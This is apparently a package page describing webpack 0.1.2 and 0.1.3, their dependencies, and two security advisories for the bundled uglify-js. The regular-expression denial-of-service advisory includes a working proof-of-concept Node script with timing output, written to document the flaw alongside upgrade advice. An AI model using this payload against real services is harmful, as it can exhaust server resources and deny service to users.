Webpack versions 0.1.2 and 0.1.3 represent early iterations of a powerful module bundler designed to streamline JavaScript development for web browsers. Both versions share a core philosophy: packing CommonJS modules, which were becoming increasingly popular, into optimized bundles suitable for client-side execution. This allows developers to modularize their codebases and manage dependencies more effectively, addressing a key challenge in building complex web applications. The main goal is still allowing splitting the code so it can be loaded on demand improving page load times and delivering a better user experience.
Looking at the package information, the dependency requirements remain consistent between the two releases. Specifically, both rely on esprima version 0.9.8 for JavaScript parsing, optimist version 0.2.x for command-line argument parsing, and uglify-js version 1.2.5 for code minification. The devDependencies field similarly remains unchanged, indicating that both versions use vows as a primary tool for development and testing.
The crucial distinction lies in the release timestamps. Version 0.1.3 was published shortly after 0.1.2, which hints at a minor update, possibly addressing bug fixes or small improvements identified immediately after the earlier release. For developers examining these versions, this suggests that version 0.1.3 is the slightly more polished and recommended option, even though the functional differences are likely subtle. The work of Tobias Koppers is, even in these primitive versions, already setting the ground for a great tool.
All the vulnerabilities related to the version 0.1.3 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.